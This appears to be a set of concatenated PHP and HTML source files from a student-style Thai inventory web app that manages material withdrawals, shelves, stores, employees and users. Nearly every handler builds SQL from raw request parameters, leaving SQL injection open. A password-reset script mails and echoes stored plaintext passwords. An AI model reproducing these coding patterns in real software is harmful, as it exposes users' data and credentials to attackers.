echo "</script>";
}
?><file_sep><!DOCTYPE html>
<html lang="en">
<?php
include('connection/phpconnect.php');
$search = (isset($_GET['search'])) ? $_GET['search'] : '';
$sql = "SELECT * FROM `withdraw_return` WHERE (`id_mat` LIKE '%$search%') OR (`id_employee` LIKE '%$search%') OR (`action` LIKE '%$search%') OR (`volume` LIKE '%$search%') OR (`date` LIKE '%$search%') ORDER BY date;";
$result = mysqli_query($db, $sql);
?>
<head>
<!-- Required meta tags-->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="au theme template">
<meta name="author" content="<NAME>">
<meta name="keywords" content="au theme template">
<!-- Title Page-->
<title>Dashboard</title>
<!-- Fontfaces CSS-->
<link href="css/font-face.css" rel="stylesheet" media="all">
<link href="vendor/font-awesome-4.7/css/font-awesome.min.css" rel="stylesheet" media="all">
<link href="vendor/font-awesome-5/css/fontawesome-all.min.css" rel="stylesheet" media="all">
<link href="vendor/mdi-font/css/material-design-iconic-font.min.css" rel="stylesheet" media="all">
<!-- Bootstrap CSS-->
<link href="vendor/bootstrap-4.1/bootstrap.min.css" rel="stylesheet" media="all">
<!-- Vendor CSS-->
<link href="vendor/animsition/animsition.min.css" rel="stylesheet" media="all">
<link href="vendor/bootstrap-progressbar/bootstrap-progressbar-3.3.4.min.css" rel="stylesheet" media="all">
<link href="vendor/wow/animate.css" rel="stylesheet" media="all">
<link href="vendor/css-hamburgers/hamburgers.min.css" rel="stylesheet" media="all">
<link href="vendor/slick/slick.css" rel="stylesheet" media="all">
<link href="vendor/select2/select2.min.css" rel="stylesheet" media="all">
<link href="vendor/perfect-scrollbar/perfect-scrollbar.css" rel="stylesheet" media="all">
<!-- Main CSS-->
<link href="css/theme.css" rel="stylesheet" media="all">
</head>
<body class="animsition">
<div class="page">
<!-- HEADER MOBILE-->
<header class="header-mobile d-block d-lg-none">
<div class="header-mobile__bar">
<div class="container-fluid">
<div class="header-mobile-inner">
<a class="logo" href="index.html">
<img src="images/icon/true2.png" alt="CoolAdmin" />
</a>
<button class="hamburger hamburger--slider" type="button">
<span class="hamburger-box">
<span class="hamburger-inner"></span>
</span>
</button>
</div>
</div>
</div>
<nav class="navbar-mobile">
<div class="container-fluid">
<ul class="navbar-mobile__list list-unstyled">
<li class="has-sub">
<a class="js-arrow" href="#">
<i class="fas fa-tachometer-alt"></i>Dashboard</a>
</li>
<li>
<a href="#">
<i class="fas fa-chart-bar"></i>Charts</a>
</li>
<li>
<a href="#">
<i class="fas fa-table"></i>Tables</a>
</li>
<li>
<a href="#">
<i class="far fa-check-square"></i>Forms</a>
</li>
<li class="has-sub">
<a class="js-arrow" href="#">
<i class="fas fa-copy"></i>Pages</a>
<ul class="navbar-mobile-sub__list list-unstyled js-sub-list">
<li>
<a href="login.html">Login</a>
</li>
<li>
<a href="register.html">Register</a>
</li>
<li>
<a href="forget-pass.php">Forget Password</a>
</li>
</ul>
</li>
<li>
<a href="form_wr.html">
<i class="fas fa-calendar-alt"></i>Withdrw-Return</a>
</li>
</ul>
</div>
</nav>
</header>
<!-- END HEADER MOBILE-->
<!-- MENU SIDEBAR-->
<aside class="menu-sidebar d-none d-lg-block">
<div class="logo">
<a href="#">
<img src="images/icon/true2.png" alt="Cool Admin" />
</a>
</div>
<div class="menu-sidebar__content js-scrollbar1">
<nav class="navbar-sidebar">
<ul class="list-unstyled navbar__list">
<li class="active has-sub">
<a class="js-arrow" href="#">
<i class="fas fa-tachometer-alt"></i>Dashboard</a>
</li>
<li>
<a href="#">
<i class="fas fa-chart-bar"></i>Charts</a>
</li>
<li>
<a href="#">
<i class="fas fa-table"></i>Tables</a>
</li>
<li>
<a href="#">
<i class="far fa-check-square"></i>Forms</a>
</li>
<li class="has-sub">
<a class="js-arrow" href="#">
<i class="fas fa-copy"></i>Pages</a>
<ul class="list-unstyled navbar__sub-list js-sub-list">
<li>
<a href="login.html">Login</a>
</li>
<li>
<a href="register.html">Register</a>
</li>
<li>
<a href="forget-pass.html">Forget Password</a>
</li>
</ul>
</li>
<li>
<a href="form_wr.php">
<i class="fas fa-calendar-alt"></i>Withdrw-Return</a>
</li>
</ul>
</nav>
</div>
</aside>
<!-- END MENU SIDEBAR-->
<!-- PAGE CONTAINER-->
<div class="page-container">
<!-- HEADER DESKTOP-->
<header class="header-desktop">
<div class="section__content section__content--p30">
<div class="container-fluid">
<div class="header-wrap">
<form method="request" class="form-header" action="search.php">
<input id="search" class="au-input au-input--xl" type="text" name="search" placeholder="กดปุ่มเพื่อแสดงข้อมูลการเบิก-คืนทั้งหมด หรือกรอกเพื่อค้นหา" size="control" />
<button class="au-btn--submit" type="submit" name="submit">
<i class="zmdi zmdi-search"></i>
</button>
</form>
<div class="header-button">
<div class="account-wrap">
<div class="account-item clearfix js-item-menu">
<div class="image">
<img src="images/icon/avatar-01.jpg" alt="<NAME>" />
</div>
<div class="content">
<a class="js-acc-btn" href="#"><NAME></a>
</div>
<div class="account-dropdown js-dropdown">
<div class="info clearfix">
<div class="image">
<a href="#">
<img src="images/icon/avatar-01.jpg" alt="<NAME>" />
</a>
</div>
<div class="content">
<h5 class="name">
<a href="#"><NAME></a>
</h5>
<span class="email"><EMAIL></span>
</div>
</div>
<div class="account-dropdown__body">
<div class="account-dropdown__item">
<a href="#">
<i class="zmdi zmdi-account"></i>Account</a>
</div>
<div class="account-dropdown__item">
<a href="#">
<i class="zmdi zmdi-settings"></i>Setting</a>
</div>
<div class="account-dropdown__item">
<a href="form_mat.php">
<i class="zmdi zmdi-plus"></i>Add new MAT</a>
</div>
</div>
<div class="account-dropdown__footer">
<a href="#">
<i class="zmdi zmdi-power"></i>Logout</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</header>
<!-- HEADER DESKTOP-->
<!-- MAIN CONTENT-->
<div class="main-content">
<div class="section__content section__content--p30">
<div class="container-fluid">
<div class="row">
<div class="col-md-12">
<div class="overview-wrap">
<h2 class="title-1">overview</h2>
<button class="au-btn au-btn-icon au-btn--blue">
<i class="zmdi zmdi-plus"></i>add item</button>
</div>
</div>
</div>
<div class="row m-t-25">
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c2">
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="zmdi zmdi-shopping-cart"></i>
</div>
<div class="text">
<h2>388,688</h2>
<span>เบิก</span>
</div>
</div>
<div class="overview-chart">
<canvas id="widgetChart2"></canvas>
</div>
</div>
</div>
</div>
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c2">
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="zmdi zmdi-shopping-cart"></i>
</div>
<div class="text">
<h2>388,688</h2>
<span>คืน</span>
</div>
</div>
<div class="overview-chart">
<canvas id="widgetChart2"></canvas>
</div>
</div>
</div>
</div>
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c1">
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="zmdi zmdi-account-o"></i>
</div>
<div class="text">
<h2>10368</h2>
<span>members online</span>
</div>
</div>
<div class="overview-chart">
<canvas id="widgetChart1"></canvas>
</div>
</div>
</div>
</div>
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c3">
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="zmdi zmdi-calendar-note"></i>
</div>
<div class="text">
<h2>1,086</h2>
<span>this week</span>
</div>
</div>
<div class="overview-chart">
<canvas id="widgetChart3"></canvas>
</div>
</div>
</div>
</div>
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c4">
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="zmdi zmdi-money"></i>
</div>
<div class="text">
<h2>$1,060,386</h2>
<span>total earnings</span>
</div>
</div>
<div class="overview-chart">
<canvas id="widgetChart4"></canvas>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-6">
<div class="au-card recent-report">
<div class="au-card-inner">
<h3 class="title-2">recent reports</h3>
<div class="chart-info">
<div class="chart-info__left">
<div class="chart-note">
<span class="dot dot--blue"></span>
<span>products</span>
</div>
<div class="chart-note mr-0">
<span class="dot dot--green"></span>
<span>services</span>
</div>
</div>
<div class="chart-info__right">
<div class="chart-statis">
<span class="index incre">
<i class="zmdi zmdi-long-arrow-up"></i>25%</span>
<span class="label">products</span>
</div>
<div class="chart-statis mr-0">
<span class="index decre">
<i class="zmdi zmdi-long-arrow-down"></i>10%</span>
<span class="label">services</span>
</div>
</div>
</div>
<div class="recent-report__chart">
<canvas id="recent-rep-chart"></canvas>
</div>
</div>
</div>
</div>
<div class="col-lg-6">
<div class="au-card chart-percent-card">
<div class="au-card-inner">
<h3 class="title-2 tm-b-5">char by %</h3>
<div class="row no-gutters">
<div class="col-xl-6">
<div class="chart-note-wrap">
<div class="chart-note mr-0 d-block">
<span class="dot dot--blue"></span>
<span>products</span>
</div>
<div class="chart-note mr-0 d-block">
<span class="dot dot--red"></span>
<span>services</span>
</div>
</div>
</div>
<div class="col-xl-6">
<div class="percent-chart">
<canvas id="percent-chart"></canvas>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-lg">
<h2 class="title-1 m-b-25">Earnings By Items</h2>
<div class="table-responsive table--no-card m-b-40">
<table class="table table-borderless table-striped table-earning">
<thead>
<tr>
<th>date</th>
<th>order ID</th>
<th>name</th>
<th class="text-right">price</th>
<th class="text-right">quantity</th>
<th class="text-right">total</th>
</tr>
</thead>
<tbody>
<tr>
<td>2018-09-29 05:57</td>
<td>100398</td>
<td>iPhone X 64Gb Grey</td>
<td class="text-right">$999.00</td>
<td class="text-right">1</td>
<td class="text-right">$999.00</td>
</tr>
<tr>
<td>2018-09-28 01:22</td>
<td>100397</td>
<td>Samsung S8 Black</td>
<td class="text-right">$756.00</td>
<td class="text-right">1</td>
<td class="text-right">$756.00</td>
</tr>
<tr>
<td>2018-09-27 02:12</td>
<td>100396</td>
<td>Game Console Controller</td>
<td class="text-right">$22.00</td>
<td class="text-right">2</td>
<td class="text-right">$44.00</td>
</tr>
<tr>
<td>2018-09-26 23:06</td>
<td>100395</td>
<td>iPhone X 256Gb Black</td>
<td class="text-right">$1199.00</td>
<td class="text-right">1</td>
<td class="text-right">$1199.00</td>
</tr>
<tr>
<td>2018-09-25 19:03</td>
<td>100393</td>
<td>USB 3.0 Cable</td>
<td class="text-right">$10.00</td>
<td class="text-right">3</td>
<td class="text-right">$30.00</td>
</tr>
<tr>
<td>2018-09-29 05:57</td>
<td>100392</td>
<td>Smartwatch 4.0 LTE Wifi</td>
<td class="text-right">$199.00</td>
<td class="text-right">6</td>
<td class="text-right">$1494.00</td>
</tr>
<tr>
<td>2018-09-24 19:10</td>
<td>100391</td>
<td>Camera C430W 4k</td>
<td class="text-right">$699.00</td>
<td class="text-right">1</td>
<td class="text-right">$699.00</td>
</tr>
<tr>
<td>2018-09-22 00:43</td>
<td>100393</td>
<td>USB 3.0 Cable</td>
<td class="text-right">$10.00</td>
<td class="text-right">3</td>
<td class="text-right">$30.00</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12">
<div class="copyright">
<p>Copyright © 2018 Colorlib. All rights reserved. Template by <a href="https://colorlib.com">Colorlib</a>.</p>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- END MAIN CONTENT-->
<!-- END PAGE CONTAINER-->
</div>
</div>
<!-- Jquery JS-->
<script src="vendor/jquery-3.2.1.min.js"></script>
<!-- Bootstrap JS-->
<script src="vendor/bootstrap-4.1/popper.min.js"></script>
<script src="vendor/bootstrap-4.1/bootstrap.min.js"></script>
<!-- Vendor JS -->
<script src="vendor/slick/slick.min.js">
</script>
<script src="vendor/wow/wow.min.js"></script>
<script src="vendor/animsition/animsition.min.js"></script>
<script src="vendor/bootstrap-progressbar/bootstrap-progressbar.min.js">
</script>
<script src="vendor/counter-up/jquery.waypoints.min.js"></script>
<script src="vendor/counter-up/jquery.counterup.min.js">
</script>
<script src="vendor/circle-progress/circle-progress.min.js"></script>
<script src="vendor/perfect-scrollbar/perfect-scrollbar.js"></script>
<script src="vendor/chartjs/Chart.bundle.min.js"></script>
<script src="vendor/select2/select2.min.js">
</script>
<!-- Main JS-->
<script src="js/main.js"></script>
</body>
</html>
<!-- end document-->
<file_sep><?php
include('../connection/phpconnect.php');
$del = $_REQUEST['id_shelf'];
$strSQL = "DELETE
FROM
`shelf`
WHERE
`id_shelf` = $del";
$objQuery = mysqli_query($db, $strSQL);
if($objQuery)
{
echo "<script type='text/javascript'>";
echo "alert('Record Deleted!');";
echo "window.location = '../form_show_shelf.php'; ";
echo "</script>";
}
else
{
echo "<script type='text/javascript'>";
echo "alert('Error Delete [".$strSQL."]');";
echo "window.location = '../form_show_shelf.php'; ";
echo "</script>";
}
mysqli_close($db);
?><file_sep><?php
include("../connection/phpconnect.php");
$id_shelf = $_REQUEST['id_shelf'];
$name = $_REQUEST['name'];
$id_store = $_REQUEST['id_store'];
$call = "SELECT * FROM `shelf` WHERE `id_shelf` = $id_shelf;";
$result = mysqli_query($db, $call);
if($result->num_rows==0)
{
$sql="INSERT INTO `shelf`
VALUES ('$id_shelf' ,'$name' ,'$id_store');";
$insert = mysqli_query($db, $sql);
//echo $sql;
echo "<script type='text/javascript'>";
echo "alert('เพิ่มข้อมูลสำเร็จ');";
echo "window.location = '../form_show_shelf.php'; ";
echo "</script>";
}else if($result->num_rows==1)
{
echo "<script type='text/javascript'>";
echo "alert('ไม่สามารถเพิ่มข้อมูลได้');";
echo "window.location = '../form_show_shelf.php'; ";
echo "</script>";
}
?><file_sep><?php
include("../connection/phpconnect.php");
$id_emp = $_REQUEST['id_emp'];
$name = $_REQUEST['name'];
$department = $_REQUEST['department'];
$position = $_REQUEST['position'];
$sqlup = "UPDATE
`employee`
SET
`id_emp` = '$id_emp',
`name` = '$name',
`department` = '$department',
`position` = '$position'
WHERE
`id_emp` = '$id_emp'";
$update = mysqli_query($db, $sqlup);
if($update){
echo "<script type='text/javascript'>";
echo "alert('Update Succesfuly');";
echo "window.location = '../form_show_emp.php'; ";
echo "</script>";
}
else{
echo "<script type='text/javascript'>";
echo "alert('Error');";
echo "window.history.back()";
echo "</script>";
}
mysqli_close($db);
?><file_sep><?php
include("../connection/phpconnect.php");
$id_store = $_REQUEST['id_store'];
$storename = $_REQUEST['storename'];
$id_plant = $_REQUEST['id_plant'];
$call = "SELECT * FROM `store` WHERE `id_store` = $id_store;";
$result = mysqli_query($db, $call);
if($result->num_rows==0)
{
$sql="INSERT INTO `store`
VALUES ('$id_store' ,'$storename' ,'$id_plant');";
$insert = mysqli_query($db, $sql);
//echo $sql;
echo "<script type='text/javascript'>";
echo "alert('เพิ่มข้อมูลสำเร็จ');";
echo "window.location = '../form_show_store.php'; ";
echo "</script>";
}else if($result->num_rows==1)
{
echo "<script type='text/javascript'>";
echo "alert('ไม่สามารถเพิ่มข้อมูลได้');";
echo "window.location = '../form_show_store.php'; ";
echo "</script>";
}
?><file_sep><?php
include("../connection/phpconnect.php");
$id = $_REQUEST['id'];
$plant = $_REQUEST['plant'];
$call = "SELECT * FROM `plant` WHERE `id` = $id;";
$result = mysqli_query($db, $call);
if($result->num_rows==0)
{
$sql="INSERT INTO `plant`
VALUES ('$id','$plant');";
$insert = mysqli_query($db, $sql);
//echo $sql;
echo "<script type='text/javascript'>";
echo "alert('เพิ่มข้อมูลสำเร็จ');";
echo "window.location = '../form_show_plant.php'; ";
echo "</script>";
}else if($result->num_rows==1)
{
echo "<script type='text/javascript'>";
echo "alert('ไม่สามารถเพิ่มข้อมูลได้');";
echo "window.location = '../form_show_plant.php'; ";
echo "</script>";
}
?><file_sep><?php
include("../connection/phpconnect.php");
$id_mat = $_REQUEST['id_mat'];
$id_store = $_REQUEST['id_store'];
$id_shelf = $_REQUEST['id_shelf'];
$amount = $_REQUEST['amount'];
$sqlup = "UPDATE
`location_fail`
SET
`amount` = '$amount'
WHERE
`id_mat` = '$id_mat' AND `id_store` = '$id_store' AND `id_shelf` = '$id_shelf'";
$update = mysqli_query($db, $sqlup);
if($update){
echo "<script type='text/javascript'>";
echo "alert('Update Succesfuly');";
echo "window.location = '../form_show_location_fail.php'; ";
echo "</script>";
}
else{
echo "<script type='text/javascript'>";
echo "alert('Error');";
echo "window.history.back()";
echo "</script>";
}
mysqli_close($db);
?><file_sep><?php
date_default_timezone_set("Asia/Bangkok");
include("../connection/phpconnect.php");
$id_shelf = $_REQUEST['id_shelf'];
$id_store = $_REQUEST['id_store'];
$time = date("ymdHis");
$no = "$id_store$time";
$id_mat = $_REQUEST['id_mat'];
$id_employee = $_REQUEST['id_employee'];
$action = $_REQUEST['action'];
$amount = $_REQUEST['amount'];
$date = date("Y-m-d H:i:s");
$call="SELECT * FROM `withdraw_return` WHERE `no` = $no;";
$result = mysqli_query($db, $call);
if($result->num_rows==0)
{
$amlo = "SELECT * FROM `location` WHERE `id_mat` = '$id_mat' AND `id_store` = '$id_store' AND `id_shelf` = '$id_shelf'";
$reamlo = mysqli_query($db, $amlo);
if($action=='withdraw'){
if($reamlo->num_rows==1){
$check = `amount` - $amount;
if($check > 0){
$sqlup = "UPDATE
`location`
SET
`amount` = `amount` - '$amount'
WHERE
`id_mat` = '$id_mat' AND `id_store` = '$id_store' AND `id_shelf` = '$id_shelf'";
$ubdate = mysqli_query($db, $sqlup);
$sql="INSERT INTO `withdraw_return` (`no`, `id_mat`, `id_employee`, `action`, `amount`, `date`)
VALUES ('$no','$id_mat','$id_employee','$action','$amount','$date')";
$insert = mysqli_query($db, $sql);
//echo $sql;
echo "<script type='text/javascript'>";
echo "alert('ทำรายการสำเร็จ');";
echo "window.location = '../form_wr.php'; ";
echo "</script>";
}
else
{
echo "<script type='text/javascript'>";
echo "alert('อุปกรณ์มีไม่เพียงพอ กรุณาระบุจำนวนอีกครั้ง');";
echo "window.history.back()";
echo "</script>";
}
}
if($reamlo->num_rows==0){
echo "<script type='text/javascript'>";
echo "alert('ไม่พบข้อมูล กรุณาทำรายการอีกครั้ง');";
echo "window.history.back()";
echo "</script>";
}
}
if($action=='return'){
$sql="INSERT INTO `withdraw_return` (`no`, `id_mat`, `id_employee`, `action`, `amount`, `date`)
VALUES ('$no','$id_mat','$id_employee','$action','$amount','$date')";
$insert = mysqli_query($db, $sql);
//echo $sql;
echo "<script type='text/javascript'>";
echo "alert('ทำรายการสำเร็จ');";
echo "window.location = '../form_wr.php'; ";
echo "</script>";
}
if($action=='deposited'){
if($reamlo->num_rows==1){
$sqlup = "UPDATE
`location`
SET
`amount` = `amount` + '$amount'
WHERE
`id_mat` = '$id_mat' AND `id_store` = '$id_store' AND `id_shelf` = '$id_shelf'";
$ubdate = mysqli_query($db, $sqlup);
$sql="INSERT INTO `withdraw_return` (`no`, `id_mat`, `id_employee`, `action`, `amount`, `date`)
VALUES ('$no','$id_mat','$id_employee','$action','$amount','$date')";
$insert = mysqli_query($db, $sql);
//echo $sql;
echo "<script type='text/javascript'>";
echo "alert('ทำรายการสำเร็จ');";
echo "window.location = '../form_wr.php'; ";
echo "</script>";
}
if($reamlo->num_rows==0){
$sqllo="INSERT INTO `location` (`num_lo`, `id_mat`, `id_store`, `id_shelf`, `amount`)
VALUES ('$num_lo','$id_mat','$id_store','$id_shelf','$amount')";
$insert1 = mysqli_query($db, $sqllo);
$sql="INSERT INTO `withdraw_return` (`no`, `id_mat`, `id_employee`, `action`, `amount`, `date`)
VALUES ('$no','$id_mat','$id_employee','$action','$amount','$date')";
$insert = mysqli_query($db, $sql);
//echo $sql;
echo "<script type='text/javascript'>";
echo "alert('ทำรายการสำเร็จ');";
echo "window.location = '../form_wr.php'; ";
echo "</script>";
}
}
}else
{
echo "<script type='text/javascript'>";
echo "alert('ไม่สามารถทำรายการได้');";
echo "window.history.back()";
echo "</script>";
}
?><file_sep><?php
include("../connection/phpconnect.php");
$department = $_REQUEST['department'];
$call = "SELECT * FROM `department` WHERE `department` = $department;";
$result = mysqli_query($db, $call);
if($result->num_rows==0)
{
$sql="INSERT INTO `department`
VALUES ('$department');";
$insert = mysqli_query($db, $sql);
//echo $sql;
echo "<script type='text/javascript'>";
echo "alert('เพิ่มข้อมูลสำเร็จ');";
echo "window.location = '../form_show_department.php'; ";
echo "</script>";
}else if($result->num_rows==1)
{
echo "<script type='text/javascript'>";
echo "alert('ไม่สามารถเพิ่มข้อมูลได้');";
echo "window.location = '../form_show_department.php'; ";
echo "</script>";
}
?><file_sep><?php
$db_server = "db";
$db_user = "root";
$db_pass = "<PASSWORD>";
$db_src ="inventory";
$db = new mysqli($db_server,$db_user,$db_pass,$db_src);
$db->query("set names utf8");
if ($db->connect_error) {
echo "Connection failed: " . $db->connect_error;
}
?><file_sep><?php
include("../connection/phpconnect.php");
error_reporting(E_ERROR | E_WARNING | E_PARSE);
$to = $_REQUEST['email'];
$sql = "SELECT * FROM `users` WHERE `email` = $to;";
$result = mysqli_query($db, $sql);
if($result->num_rows==1){
while($rows=$result->fetch_object()){
$username = $rows->username;
$password = $rows->password;
$subject = "Forget-Pass";
$txt = "$username<br>$password";
$headers = "From: <EMAIL>" . "\r\n" .
"CC: $to";
mail($to,$subject,$txt,$headers);
echo "<script type='text/javascript'>";
echo "alert('ทำรายการสำเร็จ');";
//echo "window.location = '../forget-pass.html';";
echo "</script>";
}
}
else{
echo $to,"<br>";
echo $username,"<br>";
echo $password;
echo "<script type='text/javascript'>";
echo "alert('ไม่สามารถทำรายการได้');";
//echo "window.history.back()";
echo "</script>";
}
?><file_sep><?php
include("../connection/phpconnect.php");
$id_shelf = $_REQUEST['id_shelf'];
$name = $_REQUEST['name'];
$id_store = $_REQUEST['id_store'];
$sqlup = "UPDATE
`shelf`
SET
`id_shelf` = '$id_shelf',
`name` = '$name',
`id_store` = '$id_store'
WHERE
`id_shelf` = '$id_shelf'";
$update = mysqli_query($db, $sqlup);
if($update){
echo "<script type='text/javascript'>";
echo "alert('Update Succesfuly, ";
echo "Store ID : $id_shelf, ";
echo "Store Name : $name, ";
echo "Plant ID : $id_store');";
echo "window.location = '../form_show_shelf.php'; ";
echo "</script>";
}
else{
echo "<script type='text/javascript'>";
echo "alert('Error');";
echo "window.history.back()";
echo "</script>";
}
mysqli_close($db);
?><file_sep><?php
include("../connection/phpconnect.php");
$id_emp = $_REQUEST['id_emp'];
$name = $_REQUEST['name'];
$department = $_REQUEST['department'];
$position = $_REQUEST['position'];
$call = "SELECT * FROM `employee` WHERE `id_emp` = $id_emp;";
$result = mysqli_query($db, $call);
if($result->num_rows==0)
{
$sql="INSERT INTO `employee`
VALUES ('$id_emp' ,'$name' ,'$department' ,'$position');";
$insert = mysqli_query($db, $sql);
//echo $sql;
echo "<script type='text/javascript'>";
echo "alert('เพิ่มข้อมูลสำเร็จ');";
echo "window.location = '../form_show_emp.php'; ";
echo "</script>";
}else if($result->num_rows==1)
{
echo "<script type='text/javascript'>";
echo "alert('ไม่สามารถเพิ่มข้อมูลได้');";
echo "window.location = '../form_show_emp.php'; ";
echo "</script>";
}
?><file_sep><?php
include("../connection/phpconnect.php");
$Username = $_REQUEST['Username'];
$Email = $_REQUEST['Email'];
$Password = $_REQUEST['<PASSWORD>'];
$call1="SELECT * FROM `users` WHERE `username` = '$Username';";
$call2="SELECT * FROM `users` WHERE `email` = '$Email';";
$call3="SELECT * FROM `users` WHERE `username` = '$Username' OR `email` = '$Email';";
$result1 = mysqli_query($db, $call1);
$result2 = mysqli_query($db, $call2);
$result3 = mysqli_query($db, $call3);
if($result3->num_rows==0)
{
$sql="INSERT INTO
users VALUES ('$Username',
'$Email',
'$Password');";
$insert = mysqli_query($db, $sql);
echo $sql;
echo "<script type='text/javascript'>";
echo "alert('เพิ่มข้อมูลสำเร็จ');";
echo "window.history.back()";
echo "</script>";
}else if ($result1->num_rows==1)
{
echo "<script type='text/javascript'>";
echo "alert('Usersname ถูกใช้แล้ว');";
echo "window.history.back()";
echo "</script>";
}else if ($result2->num_rows==1)
{
echo "<script type='text/javascript'>";
echo "alert('Email ถูกใช้แล้ว');";
echo "window.history.back()";
echo "</script>";
}
?><file_sep><?php
include("../connection/phpconnect.php");
$username = $_REQUEST['username'];
$email = $_REQUEST['email'];
$password = $_REQUEST['<PASSWORD>'];
$sqlup = "UPDATE
`users`
SET
`email` = '$email',password = <PASSWORD>'
WHERE
`username` = '$username'";
$update = mysqli_query($db, $sqlup);
if($update){
echo "<script type='text/javascript'>";
echo "alert('Update Succesfuly');";
echo "window.location = '../form_show_users.php'; ";
echo "</script>";
}
else{
echo "<script type='text/javascript'>";
echo "alert('Error');";
echo "window.history.back()";
echo "</script>";
}
mysqli_close($db);
?><file_sep><!DOCTYPE html>
<html lang="en">
<?php
session_start();
error_reporting(E_ERROR | E_WARNING | E_PARSE);
include('connection/phpconnect.php');
$strSQL = "SELECT * FROM shelf WHERE id_shelf = '".$_REQUEST['id_shelf']."' ";
$objQuery = mysqli_query($db, $strSQL);
$objResult = mysqli_fetch_array($objQuery);
if($_SESSION['username'] == ""){
echo "<script type='text/javascript'>";
echo "window.location = 'index.php'; ";
echo "</script>";
}
?>
<head>
<!-- Required meta tags-->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Co-Op Project">
<meta name="author" content="<NAME>">
<meta name="keywords" content="Co-Op Project">
<!-- Title Page-->
<title>Shelf Update</title>
<link rel="icon" href="images/icon/true2.png" type="image/icon type">
<!-- Fontfaces CSS-->
<link href="css/font-face.css" rel="stylesheet" media="all">
<link href="vendor/font-awesome-4.7/css/font-awesome.min.css" rel="stylesheet" media="all">
<link href="vendor/font-awesome-5/css/fontawesome-all.min.css" rel="stylesheet" media="all">
<link href="vendor/mdi-font/css/material-design-iconic-font.min.css" rel="stylesheet" media="all">
<!-- Bootstrap CSS-->
<link href="vendor/bootstrap-4.1/bootstrap.min.css" rel="stylesheet" media="all">
<!-- Vendor CSS-->
<link href="vendor/animsition/animsition.min.css" rel="stylesheet" media="all">
<link href="vendor/bootstrap-progressbar/bootstrap-progressbar-3.3.4.min.css" rel="stylesheet" media="all">
<link href="vendor/wow/animate.css" rel="stylesheet" media="all">
<link href="vendor/css-hamburgers/hamburgers.min.css" rel="stylesheet" media="all">
<link href="vendor/slick/slick.css" rel="stylesheet" media="all">
<link href="vendor/select2/select2.min.css" rel="stylesheet" media="all">
<link href="vendor/perfect-scrollbar/perfect-scrollbar.css" rel="stylesheet" media="all">
<!-- Main CSS-->
<link href="css/theme.css" rel="stylesheet" media="all">
</head>
<body class="animsition">
<div class="page-wrapper">
<!-- HEADER DESKTOP-->
<header class="header-desktop3 d-none d-lg-block">
<div class="section__content section__content--p35">
<div class="header3-wrap">
<div class="header__logo">
<a href="#">
<img src="images/icon/true2.png" alt="CoolAdmin" />
</a>
</div>
<div class="header__navbar">
<ul class="list-unstyled">
<li>
<a href="index.php">
<i class="fas fa-chart-pie"></i>
<span class="bot-line"></span>Home</a>
</li>
<li>
<a href="form_show_location.php">
<i class="fas fa-warehouse"></i>
<span class="bot-line"></span>Location Good</a>
</li>
<li>
<a href="form_show_location_fail.php">
<i class="fas fa-wrench"></i>
<span class="bot-line"></span>Location Fail</a>
</li>
<?php
if($_SESSION['username'] == !""){
?>
<li class="has-sub">
<a href="#">
<i class="fas fa-copy"></i>
<span class="bot-line"></span>Manage</a>
<ul class="header3-sub-list list-unstyled">
<li>
<a href="form_show_mat.php">
<i class="fas fa-barcode"></i>Material</a>
</li>
<li>
<a href="form_show_mattype.php">
<i class="fas fa-barcode"></i>Material Type</a>
</li>
<li>
<a href="form_show_emp.php">
<i class="fas fa-user"></i>Employee</a>
</li>
<li>
<a href="form_show_position.php">
<i class="fas fa-user"></i>Position</a>
</li>
<li>
<a href="form_show_department.php">
<i class="fas fa-user"></i>Departmet</a>
</li>
<li>
<a href="form_show_plant.php">
<i class="fas fa-warehouse"></i>Plant</a>
</li>
<li>
<a href="form_show_store.php">
<i class="fas fa-warehouse"></i>Store</a>
</li>
<li>
<a href="form_show_shelf.php">
<i class="fas fa-warehouse"></i>Shelf</a>
</li>
<li>
<a href="form_show_users.php">
<i class="fas fa-user"></i>Users</a>
</li>
</ul>
</li>
<?php
}
?>
</li>
</ul>
</div>
<div class="header__tool">
<div class="account-wrap">
<div class="account-item account-item--style2 clearfix js-item-menu">
<div class="content">
<?php
if($_SESSION['username'] == ""){
?>
<a href='login.php'>
<i class="js-acc-btn"></i>Login</a>
<?php
}
?>
<?php
if($_SESSION['username'] == !""){
?>
<a class="js-acc-btn" href="#"><?php echo $_SESSION['username'] ?></a>
<?php
}
?>
</div>
<div class="account-dropdown js-dropdown">
<?php
if($_SESSION['username'] == !""){
?>
<div class="account-dropdown__body">
<div class="account-dropdown__item">
<a href="account.php">
<i class="zmdi zmdi-account"></i>Account</a>
</div>
</div>
<?php
}
?>
<div class="account-dropdown__footer">
<?php
if($_SESSION['username'] == ""){
?>
<a href='login.php'>
<i class="zmdi zmdi-power"></i>Login</a>
<?php
}
?>
<?php
if($_SESSION['username'] == !""){
?>
<a href='action/logout.php'>
<i class="zmdi zmdi-power"></i>Logout</a>
<?php
}
?>
<a href="forget-pass.html">
<i class="zmdi zmdi-key"></i>Forget Password</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</header>
<!-- END HEADER DESKTOP-->
<!-- HEADER MOBILE-->
<header class="header-mobile header-mobile-2 d-block d-lg-none">
<div class="header-mobile__bar">
<div class="container-fluid">
<div class="header-mobile-inner">
<a class="logo" href="#">
<img src="images/icon/true2.png" alt="CoolAdmin" />
</a>
<button class="hamburger hamburger--slider" type="button">
<span class="hamburger-box">
